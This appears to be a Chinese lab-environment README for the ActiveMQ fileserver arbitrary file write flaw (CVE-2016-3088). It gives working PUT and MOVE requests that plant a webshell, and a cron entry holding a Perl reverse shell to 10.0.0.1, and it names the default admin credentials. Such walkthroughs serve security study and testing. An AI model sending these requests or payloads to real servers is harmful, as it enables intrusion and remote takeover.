# ActiveMQ任意文件写入漏洞(CVE-2016-3088) | ||
|
||
## 环境搭建 | ||
|
||
搭建及运行漏洞环境: | ||
|
||
``` | ||
docker-compose build | ||
docker-compose up -d | ||
``` | ||
|
||
环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。 | ||
|
||
访问`http://your-ip:8161/`看到web页面,说明环境已成功运行。 | ||
|
||
## 背景简述 | ||
|
||
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。 | ||
|
||
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现: | ||
|
||
1. 其使用率并不高 | ||
2. 文件操作容易出现漏洞 | ||
|
||
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。 | ||
|
||
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。 | ||
|
||
## 漏洞详情 | ||
|
||
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。 | ||
|
||
文件写入有几种利用方法: | ||
|
||
1. 写入webshell | ||
2. 写入cron或ssh key等文件 | ||
3. 写入jar或jetty.xml等库和配置文件 | ||
|
||
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。 | ||
|
||
分别说一下上述几种利用方法。 | ||
|
||
### 写入webshell | ||
|
||
前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。 | ||
|
||
默认的ActiveMQ账号密码均为`admin`,首先访问`http://your-ip:8161/admin/test/systemProperties.jsp`,查看ActiveMQ的绝对路径: | ||
|
||
![](02.png) | ||
|
||
然后上传webshell: | ||
|
||
``` | ||
PUT /fileserver/2.txt HTTP/1.1 | ||
Host: localhost:8161 | ||
Accept: */* | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
Content-Length: 120976 | ||
webshell... | ||
``` | ||
|
||
移动到web目录下的api文件夹(`/opt/activemq/webapps/api/s.jsp`)中: | ||
|
||
``` | ||
MOVE /fileserver/2.txt HTTP/1.1 | ||
Destination: file:///opt/activemq/webapps/api/s.jsp | ||
Host: localhost:8161 | ||
Accept: */* | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
Content-Length: 0 | ||
``` | ||
|
||
访问webshell(需要登录): | ||
|
||

|
||
### 写入crontab,自动化弹shell | ||
|
||
这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要`\n`,不能是`\r\n`,否则crontab执行会失败): | ||
|
||
``` | ||
PUT /fileserver/1.txt HTTP/1.1 | ||
Host: localhost:8161 | ||
Accept: */* | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
Content-Length: 248 | ||
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | ||
## | ||
``` | ||
|
||
将其移动到`/etc/cron.d/root`: | ||
|
||
``` | ||
MOVE /fileserver/1.txt HTTP/1.1 | ||
Destination: file:///etc/cron.d/root | ||
Host: localhost:8161 | ||
Accept: */* | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
Content-Length: 0 | ||
``` | ||
|
||
如果上述两个请求都返回204了,说明写入成功。等待反弹shell: | ||
|
||
![](01.png) | ||
|
||
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。 | ||
|
||
### 写入jetty.xml或jar | ||
|
||
理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。 | ||
|
||
有的情况下jetty.xml和jar等所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。 | ||
|
||
尚未测试。 |
